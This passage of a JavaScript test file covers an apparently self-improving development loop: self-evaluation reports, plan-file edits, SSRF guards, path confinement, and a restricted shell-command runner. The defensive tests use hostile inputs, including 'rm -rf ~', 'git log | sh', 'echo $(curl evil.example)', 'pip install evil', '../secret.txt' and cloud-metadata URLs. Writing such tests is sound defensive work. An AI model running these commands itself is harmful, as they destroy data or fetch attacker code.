    expect(report).not.toContain(`[item-${SELF_EVAL_MAX_SUPPRESSED_LISTED}]`);
  });

  it('leaves an unidentifiable suppressed entry to the count rather than a mystery bullet', () => {
    const now = Date.now();
    const report = computeSelfEvalSummary({
      existingIssues: [{ state: 'closed', closedAt: new Date(now - 1000).toISOString() }],
      now
    });
    expect(report).toContain('plus 1 closed but still within the 30-day suppression window');
    expect(report).not.toContain('Recently closed (do NOT re-propose):');
  });

  it('says so plainly when nothing is suppressed', () => {
    const report = computeSelfEvalSummary({ existingIssues: [] });
    expect(report).toContain('0 open');
    expect(report).toContain('Nothing is currently suppressed');
  });

  it('treats a failed tracker read (null) as unknown, never as "nothing filed"', () => {
    const report = computeSelfEvalSummary({ existingIssues: null });
    expect(report).toContain('Your already-filed proposals: UNKNOWN');
    expect(report).toContain('may be about to re-file something that already exists');
    expect(report).not.toContain('0 open');
  });

  it('distinguishes an unreadable learning store from a loop that has never run', () => {
    expect(computeSelfEvalSummary({ liTaskStats: { read: false, metrics: null } }))
      .toContain('LI execution health: UNAVAILABLE');
    expect(computeSelfEvalSummary({ liTaskStats: { read: true, metrics: null } }))
      .toContain('no LI runs recorded yet');
  });

  it('adds degraded-execution guidance when LI run success is under the threshold', () => {
    const report = computeSelfEvalSummary({
      liTaskStats: liMetrics({ completed: 9, succeeded: 3, failed: 6, successRate: 33 })
    });
    expect(report).toContain('33% of 9 lifetime LI runs succeeded — DEGRADED');
    expect(report).toContain('GUIDANCE — your own execution is degraded');
    expect(report).toContain('the problem may be THIS LOOP, not the app');
    expect(report).toContain('do not mark anything trivial+safe for hand-off');
  });

  it('does not fire the degraded warning on a healthy loop', () => {
    const report = computeSelfEvalSummary({ liTaskStats: liMetrics() });
    expect(report).toContain('80% of 10 lifetime LI runs succeeded');
    expect(report).not.toContain('DEGRADED');
    expect(report).not.toContain('execution is degraded');
  });

  it('reports approval-to-completion delivery alongside LI run health', () => {
    const report = computeSelfEvalSummary({
      liTaskStats: liMetrics(),
      outcomes: [
        { outcome: 'merged', executionOutcome: 'success' },
        ...Array.from({ length: 4 }, () => ({ outcome: 'merged', executionOutcome: null }))
      ]
    });
    expect(report).toContain('80% of 10 lifetime LI runs succeeded');
    expect(report).toContain('20% of 5 approved LI proposals completed');
  });

  it('does not fire the degraded warning below the sample floor', () => {
    const report = computeSelfEvalSummary({
      liTaskStats: liMetrics({ completed: 1, succeeded: 0, failed: 1, successRate: 0 })
    });
    expect(report).toContain('too small a sample to judge');
    expect(report).not.toContain('DEGRADED');
  });

  const DAY_AGO_MS = 24 * 60 * 60 * 1000;

  it('folds the approval funnel into the block on every run (#3120)', () => {
    const now = Date.parse('2026-07-20T12:00:00.000Z');
    const ago = (ms) => new Date(now - ms).toISOString();
    const report = computeSelfEvalSummary({
      liTaskStats: liMetrics(),
      existingIssues: [],
      outcomes: [
        { slug: 'approved-one', outcome: 'merged', filedAt: ago(5 * DAY_AGO_MS), outcomeAt: ago(3 * DAY_AGO_MS) },
        { slug: 'rejected-one', outcome: 'rejected', filedAt: ago(6 * DAY_AGO_MS), outcomeAt: ago(2 * DAY_AGO_MS) },
        { slug: 'stalled-one', outcome: null, filedAt: ago(9 * DAY_AGO_MS), outcomeAt: null }
      ],
      now
    });
    expect(report).toContain('LI approval rate (last 14d): 50%');
    expect(report).toContain('LI time-to-decision: median');
    expect(report).toContain('PENDING HUMAN REVIEW: 1 filed proposal(s)');
    expect(report).toContain('LI proposal-phase throughput');
  });

  it('omits the pending-review indicator when the count is zero (#3120)', () => {
    const report = computeSelfEvalSummary({
      liTaskStats: liMetrics(),
      outcomes: [{ slug: 'done', outcome: 'merged', filedAt: '2026-07-18T00:00:00.000Z', outcomeAt: '2026-07-19T00:00:00.000Z' }],
      now: Date.parse('2026-07-20T12:00:00.000Z')
    });
    expect(report).not.toContain('PENDING HUMAN REVIEW');
  });

  it('reports the funnel as UNAVAILABLE when outcomes were not gathered (#3120)', () => {
    const report = computeSelfEvalSummary({ outcomes: null, liTaskStats: liMetrics() });
    expect(report).toContain('LI approval funnel: UNAVAILABLE');
    expect(report).not.toContain('PENDING HUMAN REVIEW');
  });

  it('does not let the approval funnel inflate the confidence count (#3120)', () => {
    // The funnel measures the APPROVER's throughput, not LI's self-knowledge — a rich
    // funnel must not make a signal-less loop look well-informed.
    const now = Date.parse('2026-07-20T12:00:00.000Z');
    const report = computeSelfEvalSummary({
      outcomes: [
        { slug: 'a', outcome: 'merged', filedAt: new Date(now - 4 * DAY_AGO_MS).toISOString(), outcomeAt: new Date(now - 2 * DAY_AGO_MS).toISOString() }
      ],
      now
    });
    expect(report).toContain('Reasoning confidence: low');
  });

  it('rates confidence high with all three signals, and drops guidance', () => {
    const outcomes = Array.from({ length: 6 }, () => ({ outcome: 'merged' }));
    const report = computeSelfEvalSummary({
      outcomes,
      existingIssues: [{ slug: 'a', state: 'open' }],
      liTaskStats: liMetrics()
    });
    expect(report).toContain('Reasoning confidence: high (3 of 3 self-signals available)');
    expect(report).not.toContain('GUIDANCE — low self-confidence');
  });

  it('rates a well-measured 0% merge rate as HIGH confidence in a bad result, not low', () => {
    // Confidence rates the EVIDENCE, not the news. A loop with solid evidence that
    // it is failing should act decisively, not hedge as if it were flying blind.
    const outcomes = Array.from({ length: 8 }, () => ({ outcome: 'rejected', rejectionReason: 'user-rejected' }));
    const report = computeSelfEvalSummary({
      outcomes,
      existingIssues: [{ slug: 'a', state: 'open' }],
      liTaskStats: liMetrics()
    });
    expect(report).toContain('0 of 8 resolved proposals merged (0%)');
    expect(report).toContain('Reasoning confidence: high');
    expect(report).not.toContain('GUIDANCE — low self-confidence');
  });

  it('rates confidence medium with two of three signals', () => {
    const report = computeSelfEvalSummary({
      outcomes: Array.from({ length: 5 }, () => ({ outcome: 'merged' })),
      existingIssues: [],
      liTaskStats: { read: false, metrics: null }
    });
    expect(report).toContain('Reasoning confidence: medium (2 of 3 self-signals available)');
    expect(report).not.toContain('GUIDANCE — low self-confidence');
  });

  it('exposes the degraded thresholds', () => {
    expect(LI_DEGRADED_SUCCESS_THRESHOLD).toBe(50);
    expect(LI_DEGRADED_MIN_SAMPLE).toBe(4);
    expect(LI_DELIVERY_MIN_SAMPLE).toBe(5);
    expect(LI_HARD_GATE_DELIVERY_THRESHOLD).toBe(50);
  });

  it('honors the injected clock when ageing the LI run window', () => {
    const now = Date.now();
    const DAY_MS = 24 * 60 * 60 * 1000;
    // 6 in-window failures (enough for the 'windowed' branch, which needs >= 5)
    // alongside a lifetime rate that says the loop is healthy: the windowed read
    // must win, which it can only do if `now` reaches computeWindowedStats.
    const recentOutcomes = Array.from({ length: 6 }, (_, i) => ({
      t: new Date(now - (i + 1) * DAY_MS).toISOString(), s: false
    }));
    const liTaskStats = { read: true, metrics: { completed: 50, succeeded: 50, failed: 0, successRate: 100, recentOutcomes } };
    expect(computeSelfEvalSummary({ liTaskStats, now })).toContain('0% of 6 windowed LI runs succeeded — DEGRADED');
    // Wind the clock past the window: the same ring ages out and the lifetime rate
    // takes over. A hard-wired Date.now() would report DEGRADED here too.
    const later = now + 365 * DAY_MS;
    expect(computeSelfEvalSummary({ liTaskStats, now: later })).toContain('100% of 50 lifetime LI runs succeeded');
  });
});

describe('LI_TASK_TYPE (#2700)', () => {
  // The learning store keys LI's runs by extractTaskType, whose FIRST branch
  // prefixes any task carrying an analysisType. Asserting against the real
  // function (not a restated literal) is the point: a hand-written
  // 'layered-intelligence' silently matches no bucket, leaving execution health
  // permanently reading "no LI runs recorded yet" with every test still green.
  it('matches the key extractTaskType records a real scheduled LI task under', () => {
    // The task shape cosTaskGenerator.generateSelfImprovementTaskForType builds.
    const liTask = { metadata: { analysisType: LI_SCHEDULED_TASK_TYPE, autoGenerated: true, selfImprovement: true } };
    expect(LI_TASK_TYPE).toBe(extractTaskType(liTask));
  });

  it('is the self-improve-prefixed key, NOT the bare schedule name', () => {
    expect(LI_SCHEDULED_TASK_TYPE).toBe('layered-intelligence');
    expect(LI_TASK_TYPE).toBe('self-improve:layered-intelligence');
    expect(LI_TASK_TYPE).not.toBe(LI_SCHEDULED_TASK_TYPE);
  });
});

describe('readLiTaskMetrics (#2700)', () => {
  let dir;
  beforeEach(async () => { dir = await mkdtemp(join(tmpdir(), 'lil-selfeval-')); });
  afterEach(async () => { await rm(dir, { recursive: true, force: true }); });

  it('treats an ABSENT store as a fresh install (read:true), not a broken read', async () => {
    // learning.json is created lazily on the first recorded outcome — a fresh
    // install must be told "no LI runs recorded yet", never "your store is broken".
    expect(await readLiTaskMetrics({ cosPath: dir })).toEqual({ read: true, metrics: null });
  });

  it('reports read:false when the store exists but is unparseable', async () => {
    await writeFile(join(dir, 'learning.json'), '{ not json');
    expect(await readLiTaskMetrics({ cosPath: dir })).toEqual({ read: false, metrics: null });
  });

  it('reports read:false when the store is malformed (no byTaskType map)', async () => {
    await writeFile(join(dir, 'learning.json'), JSON.stringify({ byTaskType: [] }));
    expect(await readLiTaskMetrics({ cosPath: dir })).toEqual({ read: false, metrics: null });
  });

  it('reports read:true with a null bucket when LI has never run (distinct from unreadable)', async () => {
    await writeFile(join(dir, 'learning.json'), JSON.stringify({ byTaskType: { 'idle-review': { completed: 3 } } }));
    expect(await readLiTaskMetrics({ cosPath: dir })).toEqual({ read: true, metrics: null });
  });

  it('returns the layered-intelligence bucket when present', async () => {
    const bucket = { completed: 4, succeeded: 1, failed: 3, successRate: 25, recentOutcomes: [] };
    await writeFile(join(dir, 'learning.json'), JSON.stringify({ byTaskType: { [LI_TASK_TYPE]: bucket } }));
    const stats = await readLiTaskMetrics({ cosPath: dir });
    expect(stats.read).toBe(true);
    expect(stats.metrics.successRate).toBe(25);
  });
});

describe('extractPlanSlugs', () => {
  it('collects lil-tagged slugs with their checkbox state from PLAN.md content', () => {
    const plan = `## Next Up\n- [ ] [lil-add-metrics] Add metrics\n- [ ] [lil-fix-thing] Fix\n- [ ] [ref-watch-other] not ours`;
    expect(extractPlanSlugs(plan)).toEqual([
      { slug: 'add-metrics', state: 'open' },
      { slug: 'fix-thing', state: 'open' }
    ]);
  });

  it('reads a checked `- [x]` item as closed and an unchecked one as open (#2435)', () => {
    const plan = `## Done\n- [x] [lil-add-metrics] Add metrics\n## Next Up\n- [ ] [lil-fix-thing] Fix`;
    expect(extractPlanSlugs(plan)).toEqual([
      { slug: 'add-metrics', state: 'closed' },
      { slug: 'fix-thing', state: 'open' }
    ]);
  });

  it('treats an uppercase `- [X]` checkbox as closed', () => {
    expect(extractPlanSlugs('- [X] [lil-shipped] done')).toEqual([
      { slug: 'shipped', state: 'closed' }
    ]);
  });

  it('treats a bare tag with no checkbox as open (absent ≠ done)', () => {
    // A tag mentioned inline, with no list checkbox, must NOT collapse to closed
    // (which would mark it completed in the outcome loop) — it stays open.
    expect(extractPlanSlugs('see [lil-inline-ref] elsewhere')).toEqual([
      { slug: 'inline-ref', state: 'open' }
    ]);
  });

  it('returns [] for non-string / empty', () => {
    expect(extractPlanSlugs(null)).toEqual([]);
    expect(extractPlanSlugs('')).toEqual([]);
  });
});

describe('appendProposalToPlan', () => {
  let dir;
  beforeEach(async () => { dir = await mkdtemp(join(tmpdir(), 'lil-plan-')); });
  afterEach(async () => { await rm(dir, { recursive: true, force: true }); });

  it('creates PLAN.md with a Next Up section when absent', async () => {
    const res = await appendProposalToPlan({ repoPath: dir, appName: 'App', slug: 'add-x', title: 'Add X', body: 'do it' });
    expect(res).toEqual({ success: true, duplicate: false });
    const content = await readFile(join(dir, 'PLAN.md'), 'utf-8');
    expect(content).toContain('# App — Development Plan');
    expect(content).toContain('## Next Up');
    expect(content).toContain('[lil-add-x]');
  });

  it('is a no-op (duplicate) when the slug tag already exists', async () => {
    await writeFile(join(dir, 'PLAN.md'), '## Next Up\n- [ ] [lil-add-x] existing\n');
    const res = await appendProposalToPlan({ repoPath: dir, appName: 'App', slug: 'add-x', title: 'Add X', body: 'b' });
    expect(res.duplicate).toBe(true);
  });

  it('inserts under an existing Next Up heading that has NO trailing newline (no duplicate section)', async () => {
    await writeFile(join(dir, 'PLAN.md'), '# Plan\n\n## Next Up'); // ends at heading, no newline
    const res = await appendProposalToPlan({ repoPath: dir, appName: 'App', slug: 'add-x', title: 'Add X', body: 'b' });
    expect(res.duplicate).toBe(false);
    const content = await readFile(join(dir, 'PLAN.md'), 'utf-8');
    // Exactly one Next Up section, item on its own line.
    expect(content.match(/## Next Up/g)).toHaveLength(1);
    expect(content).toContain('\n- [ ] [lil-add-x]');
  });

  it('appends a Next Up section when the file exists without one', async () => {
    await writeFile(join(dir, 'PLAN.md'), '# Plan\n\nSome notes.\n');
    await appendProposalToPlan({ repoPath: dir, appName: 'App', slug: 'add-x', title: 'Add X', body: 'b' });
    const content = await readFile(join(dir, 'PLAN.md'), 'utf-8');
    expect(content).toContain('## Next Up');
    expect(content).toContain('[lil-add-x]');
  });
});

describe('normalizeIssueState', () => {
  it('maps GitLab "opened" and GitHub "open" to open', () => {
    expect(normalizeIssueState('opened')).toBe('open');
    expect(normalizeIssueState('OPEN')).toBe('open');
  });
  it('maps closed/locked to closed', () => {
    expect(normalizeIssueState('closed')).toBe('closed');
    expect(normalizeIssueState('locked')).toBe('closed');
  });
  it('treats unknown/empty as open (fail-open so dedup does not miss)', () => {
    expect(normalizeIssueState('')).toBe('open');
    expect(normalizeIssueState(undefined)).toBe('open');
  });
});

describe('gatherSources custom file confinement', () => {
  let dir;
  beforeEach(async () => { dir = await mkdtemp(join(tmpdir(), 'lil-src-')); });
  afterEach(async () => { await rm(dir, { recursive: true, force: true }); });

  it('reads a safe relative custom file', async () => {
    await writeFile(join(dir, 'METRICS.md'), 'metric content');
    const out = await gatherSources(
      { repoPath: dir },
      { sources: { custom: [{ type: 'file', ref: 'METRICS.md' }] } }
    );
    expect(out['custom:METRICS.md']).toBe('metric content');
  });

  it('refuses a "../" traversal ref (no arbitrary file leak into the prompt)', async () => {
    // A file one level ABOVE the repo must never be read.
    await writeFile(join(dir, 'secret.txt'), 'SECRET');
    const sub = join(dir, 'repo');
    const { mkdir } = await import('fs/promises');
    await mkdir(sub, { recursive: true });
    const out = await gatherSources(
      { repoPath: sub },
      { sources: { custom: [{ type: 'file', ref: '../secret.txt' }] } }
    );
    expect(Object.keys(out)).not.toContain('custom:../secret.txt');
  });

  it('refuses an absolute-path ref', async () => {
    const out = await gatherSources(
      { repoPath: dir },
      { sources: { custom: [{ type: 'file', ref: '/etc/hosts' }] } }
    );
    expect(Object.keys(out).some(k => k.startsWith('custom:'))).toBe(false);
  });

  it('refuses a symlink inside the repo that points OUTSIDE it', async () => {
    const { mkdir, symlink } = await import('fs/promises');
    const repo = join(dir, 'repo');
    await mkdir(repo, { recursive: true });
    const secret = join(dir, 'outside-secret.txt');
    await writeFile(secret, 'OUTSIDE_SECRET');
    await symlink(secret, join(repo, 'inside-link'));
    const out = await gatherSources(
      { repoPath: repo },
      { sources: { custom: [{ type: 'file', ref: 'inside-link' }] } }
    );
    expect(Object.keys(out).some(k => k.startsWith('custom:'))).toBe(false);
  });

  it('allows a symlink that resolves to a file INSIDE the repo', async () => {
    const { symlink } = await import('fs/promises');
    await writeFile(join(dir, 'real.md'), 'INSIDE');
    await symlink(join(dir, 'real.md'), join(dir, 'link.md'));
    const out = await gatherSources(
      { repoPath: dir },
      { sources: { custom: [{ type: 'file', ref: 'link.md' }] } }
    );
    expect(out['custom:link.md']).toBe('INSIDE');
  });

  it('drops a non-allowlisted custom cmd source when shell trust is off (#2515)', async () => {
    const warn = vi.spyOn(console, 'warn').mockImplementation(() => {});
    const out = await gatherSources(
      { repoPath: dir },
      { sources: { custom: [{ type: 'cmd', cmd: 'rm -rf /tmp/x' }] } },
      { trustShellSources: false } // injected so no settings.json read
    );
    expect(Object.keys(out).some(k => k.startsWith('custom:cmd:'))).toBe(false);
    warn.mockRestore();
  });

  it('runs an allowlisted custom cmd source and captures stdout (#2515)', async () => {
    // Real allowlisted `echo` through the shell:false runner — deterministic.
    const out = await gatherSources(
      { repoPath: dir },
      { sources: { custom: [{ type: 'cmd', cmd: 'echo hello-source' }] } },
      { trustShellSources: false }
    );
    expect(out['custom:cmd:echo hello-source']).toBe('hello-source');
  });
});

describe('gatherSources appMetrics (METRICS.md)', () => {
  let dir;
  beforeEach(async () => { dir = await mkdtemp(join(tmpdir(), 'lil-metrics-')); });
  afterEach(async () => { await rm(dir, { recursive: true, force: true }); });

  it('reads the app repo METRICS.md as the appMetrics source', async () => {
    await writeFile(join(dir, 'METRICS.md'), '# Metrics\nWeekly active users: up');
    const out = await gatherSources({ repoPath: dir }, { sources: { appMetrics: true } });
    expect(out.appMetrics).toContain('Weekly active users');
  });

  it('omits appMetrics when no METRICS.md exists (reasoner may then propose adding one)', async () => {
    const out = await gatherSources({ repoPath: dir }, { sources: { appMetrics: true } });
    expect(out.appMetrics).toBeUndefined();
  });

  it('does not read METRICS.md when the source is off', async () => {
    await writeFile(join(dir, 'METRICS.md'), 'present');
    const out = await gatherSources({ repoPath: dir }, { sources: { appMetrics: false } });
    expect(out.appMetrics).toBeUndefined();
  });
});

describe('customSourceKey', () => {
  it('namespaces by type so file/http/cmd never collide', () => {
    expect(customSourceKey({ type: 'file', ref: 'x' })).toBe('custom:x');
    expect(customSourceKey({ type: 'http', url: 'https://x' })).toBe('custom:http:https://x');
    expect(customSourceKey({ type: 'cmd', cmd: 'git log' })).toBe('custom:cmd:git log');
  });
  it('returns null for a malformed/blank source', () => {
    expect(customSourceKey(null)).toBeNull();
    expect(customSourceKey({ type: 'file' })).toBeNull();
    expect(customSourceKey({ type: 'nope', ref: 'x' })).toBeNull();
  });
});

describe('fetchHttpSource', () => {
  it('returns body text on a 2xx http(s) response', async () => {
    const fetchText = vi.fn().mockResolvedValue('remote body');
    expect(await fetchHttpSource('https://example.com/x', { fetchText })).toBe('remote body');
    // Routed through the SSRF-guarded fetcher, failing soft (no thrown 400).
    expect(fetchText).toHaveBeenCalledWith('https://example.com/x', expect.objectContaining({ throwOnUnsafe: false }));
  });
  it('rejects a non-http scheme without calling the fetcher', async () => {
    const fetchText = vi.fn();
    expect(await fetchHttpSource('file:///etc/hosts', { fetchText })).toBeNull();
    expect(fetchText).not.toHaveBeenCalled();
  });
  it('returns null when the fetcher yields null (non-ok / dead URL)', async () => {
    const fetchText = vi.fn().mockResolvedValue(null);
    expect(await fetchHttpSource('https://example.com/x', { fetchText })).toBeNull();
  });
  it('returns null when the fetcher throws (timeout)', async () => {
    const fetchText = vi.fn().mockRejectedValue(new Error('boom'));
    expect(await fetchHttpSource('https://example.com/x', { fetchText })).toBeNull();
  });

  // SSRF: exercise the REAL fetchPublicText guard (default injected). IP-literal
  // hosts are classified synchronously — no network — so these are deterministic.
  it('blocks the cloud-metadata endpoint (169.254.169.254) — omits the key, no network', async () => {
    expect(await fetchHttpSource('http://169.254.169.254/latest/meta-data/')).toBeNull();
  });
  it('blocks IPv4 loopback (127.0.0.1)', async () => {
    expect(await fetchHttpSource('http://127.0.0.1:5555/api/settings')).toBeNull();
  });
  it('blocks IPv6 loopback ([::1])', async () => {
    expect(await fetchHttpSource('http://[::1]/')).toBeNull();
  });
  it('blocks named cloud-metadata endpoints inside allowed private ranges (Alibaba/AWS IMDS)', async () => {
    expect(await fetchHttpSource('http://100.100.100.200/latest/meta-data/')).toBeNull();
    expect(await fetchHttpSource('http://[fd00:ec2::254]/latest/meta-data/')).toBeNull();
  });
  it('allows a public URL through the guard (real fetch stubbed at fetchText seam)', async () => {
    const fetchText = vi.fn().mockResolvedValue('public body');
    expect(await fetchHttpSource('https://example.com/feed', { fetchText })).toBe('public body');
  });
});

describe('runShellCommand (restricted by default — #2515)', () => {
  it('runs an allowlisted command with parsed args and shell:false, returns trimmed stdout', async () => {
    const exec = vi.fn().mockResolvedValue({ code: 0, stdout: '  out\n', stderr: '' });
    expect(await runShellCommand('git log --oneline', { cwd: '/x', exec })).toBe('out');
    // Parsed to base binary + args, spawned WITHOUT a shell (no string interpretation).
    expect(exec).toHaveBeenCalledWith('git', ['log', '--oneline'], expect.objectContaining({ cwd: '/x', shell: false }));
  });
  it('returns null on non-zero exit (allowlisted binary)', async () => {
    const exec = vi.fn().mockResolvedValue({ code: 1, stdout: 'partial', stderr: 'err' });
    expect(await runShellCommand('git status', { cwd: '/x', exec })).toBeNull();
  });
  it('returns null on a timed-out command (code -1)', async () => {
    const exec = vi.fn().mockResolvedValue({ code: -1, stdout: '', stderr: '', timedOut: true });
    expect(await runShellCommand('cat big', { cwd: '/x', exec })).toBeNull();
  });
  it('returns null on empty command without invoking exec', async () => {
    const exec = vi.fn();
    expect(await runShellCommand('   ', { cwd: '/x', exec })).toBeNull();
    expect(exec).not.toHaveBeenCalled();
  });
  it('rejects a non-allowlisted binary without spawning', async () => {
    const exec = vi.fn();
    const warn = vi.spyOn(console, 'warn').mockImplementation(() => {});
    expect(await runShellCommand('rm -rf /tmp/x', { cwd: '/x', exec })).toBeNull();
    expect(exec).not.toHaveBeenCalled();
    expect(warn).toHaveBeenCalled();
    warn.mockRestore();
  });
  it('rejects a command with shell metacharacters (injection) without spawning', async () => {
    const exec = vi.fn();
    const warn = vi.spyOn(console, 'warn').mockImplementation(() => {});
    // Even though `git` is allowlisted, the `;`/`|`/`$()` chaining is denied.
    expect(await runShellCommand('git log; rm -rf ~', { cwd: '/x', exec })).toBeNull();
    expect(await runShellCommand('git log | sh', { cwd: '/x', exec })).toBeNull();
    expect(await runShellCommand('echo $(curl evil.example)', { cwd: '/x', exec })).toBeNull();
    expect(exec).not.toHaveBeenCalled();
    warn.mockRestore();
  });
  it('escape hatch: trustShellSources restores full shell:true execution', async () => {
    const exec = vi.fn().mockResolvedValue({ code: 0, stdout: 'piped\n', stderr: '' });
    expect(await runShellCommand('git log --oneline | head', { cwd: '/x', exec, trustShellSources: true })).toBe('piped');
    // Full string handed to the shell verbatim (opt-in only).
    expect(exec).toHaveBeenCalledWith('git log --oneline | head', [], expect.objectContaining({ cwd: '/x', shell: true }));
  });

  // #5669 — the unattended lane uses the narrow read-only allowlist, NOT the
  // operator-facing one. These binaries pass `validateCommand` and carry no shell
  // metacharacter, yet each fetches and/or runs arbitrary code on a schedule.
  it.each([
    'npx some-package',
    'node evil.js',
    'curl https://example.com -o /tmp/x',
    'pip install evil',
    'brew install evil',
  ])('drops the operator-allowlisted-but-code-executing cmd source %j without spawning', async (cmd) => {
    const exec = vi.fn();
    const warn = vi.spyOn(console, 'warn').mockImplementation(() => {});
    expect(await runShellCommand(cmd, { cwd: '/x', exec })).toBeNull();
    expect(exec).not.toHaveBeenCalled();
    expect(warn).toHaveBeenCalledWith(expect.stringContaining('read-only inspection commands'));
    warn.mockRestore();
  });

  it('still runs an npx cmd source when trustShellSources is true', async () => {
    const exec = vi.fn().mockResolvedValue({ code: 0, stdout: 'ran\n', stderr: '' });
    expect(await runShellCommand('npx some-package', { cwd: '/x', exec, trustShellSources: true })).toBe('ran');
    expect(exec).toHaveBeenCalledWith('npx some-package', [], expect.objectContaining({ cwd: '/x', shell: true }));
  });
});

describe('getTrustShellSources (install-level opt-in — #2515)', () => {
  it('only an explicit true unlocks the shell', async () => {
    expect(await getTrustShellSources(async () => ({ layeredIntelligence: { trustShellSources: true } }))).toBe(true);
    expect(await getTrustShellSources(async () => ({ layeredIntelligence: { trustShellSources: false } }))).toBe(false);
    expect(await getTrustShellSources(async () => ({ layeredIntelligence: {} }))).toBe(false);
    expect(await getTrustShellSources(async () => ({}))).toBe(false);
    expect(await getTrustShellSources(async () => ({ layeredIntelligence: { trustShellSources: 'yes' } }))).toBe(false);
  });
});

describe('forge I/O (injected exec)', () => {
  it('listForgeIssues parses gh JSON and extracts slugs', async () => {
    const exec = vi.fn().mockResolvedValue({
      code: 0,
      stdout: JSON.stringify([
        { number: 1, title: 'A', body: `x ${slugMarker('slug-a')}`, state: 'OPEN', closedAt: null },
        { number: 2, title: 'B', body: 'no slug', state: 'CLOSED', closedAt: '2026-07-01T00:00:00Z' }
      ])
    });
    const { ok, issues } = await listForgeIssues({ cli: 'gh', cwd: '/x', exec });
    expect(ok).toBe(true);
    expect(issues[0].slug).toBe('slug-a');
    expect(issues[0].state).toBe('open');
    expect(issues[1].closedAt).toBe('2026-07-01T00:00:00Z');
  });

  it('listForgeIssues requests comments and threads the closing comment on gh rows (#2748)', async () => {
    const exec = vi.fn().mockResolvedValue({
      code: 0,
      stdout: JSON.stringify([
        {
          number: 3,
          title: 'C',
          body: `x ${slugMarker('slug-c')}`,
          state: 'CLOSED',
          closedAt: '2026-07-02T00:00:00Z',
          comments: [
            { body: 'Interesting idea.' },
            { body: 'Closing — this is out of scope for the app.' }
          ]
        }
      ])
    });
    const { ok, issues } = await listForgeIssues({ cli: 'gh', cwd: '/x', exec });
    expect(ok).toBe(true);
    // The batched list call must ask gh for `comments` (closing-comment signal) and
    // `closedByPullRequestsReferences` (implementing-PR ref, #2748 deliverable 2) so
    // no extra fetch is needed for either.
    expect(exec.mock.calls[0][1]).toContain('number,title,body,state,stateReason,closedAt,url,labels,comments,closedByPullRequestsReferences');
    // The LAST comment (closest to the close) becomes the classifier's signal.
    expect(issues[0].closingComment).toBe('Closing — this is out of scope for the app.');
  });

  it('listForgeIssues leaves closingComment null when gh returns no comments', async () => {
    const exec = vi.fn().mockResolvedValue({
      code: 0,
      stdout: JSON.stringify([{ number: 4, title: 'D', body: `x ${slugMarker('slug-d')}`, state: 'CLOSED', comments: [] }])
    });
    const { issues } = await listForgeIssues({ cli: 'gh', cwd: '/x', exec });
    expect(issues[0].closingComment).toBeNull();
  });

  it('extractClosingComment returns the last non-empty comment body, else null', () => {
    expect(extractClosingComment([{ body: 'first' }, { body: '  ' }, { body: 'last real' }])).toBe('last real');
    expect(extractClosingComment([{ body: 'only' }])).toBe('only');
    expect(extractClosingComment([])).toBeNull();
    expect(extractClosingComment(null)).toBeNull();
    expect(extractClosingComment([{ body: '   ' }, { body: null }])).toBeNull();
  });

  it('listForgeIssues threads the implementing-PR number from closedByPullRequestsReferences (#2748)', async () => {
    const exec = vi.fn().mockResolvedValue({
      code: 0,
      stdout: JSON.stringify([
        {
          number: 5,
          title: 'E',
          body: `x ${slugMarker('slug-e')}`,
          state: 'CLOSED',
          closedByPullRequestsReferences: [{ number: 900 }, { number: 901 }]
        },
        { number: 6, title: 'F', body: `x ${slugMarker('slug-f')}`, state: 'CLOSED' }
      ])
    });
    const { issues } = await listForgeIssues({ cli: 'gh', cwd: '/x', exec });
    // The batched call must ALSO ask gh for the closing-PR refs — no extra round-trip.
    expect(exec.mock.calls[0][1]).toContain('number,title,body,state,stateReason,closedAt,url,labels,comments,closedByPullRequestsReferences');
    // The LAST ref (most recent linked PR) is the implementing handle.
    expect(issues[0].implementingPr).toBe(901);
    // No refs ⇒ null (glab rows, or a hand-closed issue) — falls through cleanly.
    expect(issues[1].implementingPr).toBeNull();
  });

  it('extractImplementingPr returns the last positive-integer ref, else null', () => {
    expect(extractImplementingPr([{ number: 10 }, { number: 11 }])).toBe(11);
    expect(extractImplementingPr([{ number: 12 }, { number: null }])).toBe(12);
    expect(extractImplementingPr([])).toBeNull();
    expect(extractImplementingPr(null)).toBeNull();
    expect(extractImplementingPr([{ number: 0 }, { number: -3 }])).toBeNull();
  });

  it('extractImplementingPr skips a cross-repo reference when the issue repo is known (codex P2)', () => {
    const refs = [
      { number: 55, repository: { owner: { login: 'someone' }, name: 'other-repo' } },
      { number: 56, repository: { owner: { login: 'atomantic' }, name: 'PortOS' } }
    ];
    // Same-repo ref wins even though the cross-repo one is later in the list.
    expect(extractImplementingPr(refs, 'atomantic/PortOS')).toBe(56);
    // A ref from another repo alone is rejected — `gh pr view 55` in cwd would read the
    // wrong PR. Falls through to null rather than mis-diagnosing.
    expect(extractImplementingPr([refs[0]], 'atomantic/PortOS')).toBeNull();
    // Repo match is case-insensitive (GitHub slugs are).
    expect(extractImplementingPr([{ number: 57, url: 'https://github.com/Atomantic/portos/pull/57' }], 'atomantic/PortOS')).toBe(57);
    // Unknown self-repo, or a ref with no repo info, degrades to accepting (same-repo
    // is the common case) — preserves prior behavior.
    expect(extractImplementingPr(refs, null)).toBe(56);
    expect(extractImplementingPr([{ number: 58 }], 'atomantic/PortOS')).toBe(58);
  });

  it('repoSlugFromUrl parses owner/repo from an issue or PR URL, host-agnostic', () => {
    expect(repoSlugFromUrl('https://github.com/atomantic/PortOS/issues/2748')).toBe('atomantic/portos');
    expect(repoSlugFromUrl('https://github.com/owner/repo/pull/5')).toBe('owner/repo');
    expect(repoSlugFromUrl('https://github.example.com/org/proj/issues/9')).toBe('org/proj');
    expect(repoSlugFromUrl('https://github.com/owner/repo')).toBeNull();
    expect(repoSlugFromUrl(null)).toBeNull();
  });

  it('readImplementingPrState parses gh pr view, and is gh-only (#2748)', async () => {
    const exec = vi.fn().mockResolvedValue({
      code: 0,
      stdout: JSON.stringify({ state: 'CLOSED', mergeStateStatus: 'DIRTY', statusCheckRollup: [{ conclusion: 'FAILURE' }] })
    });
    const view = await readImplementingPrState({ cli: 'gh', cwd: '/x', number: 42, exec });
    expect(exec).toHaveBeenCalledWith('gh', ['pr', 'view', '42', '--json', 'state,mergeStateStatus,statusCheckRollup'], { cwd: '/x', env: undefined });
    expect(view).toEqual({ state: 'CLOSED', mergeStateStatus: 'DIRTY', statusCheckRollup: [{ conclusion: 'FAILURE' }] });

    // glab carries no PR handle → no fetch, null.
    const glabExec = vi.fn();
    expect(await readImplementingPrState({ cli: 'glab', number: 42, exec: glabExec })).toBeNull();
    expect(glabExec).not.toHaveBeenCalled();
    // A non-integer number is a caller bug → null without fetching.
    expect(await readImplementingPrState({ cli: 'gh', number: null, exec: glabExec })).toBeNull();
  });

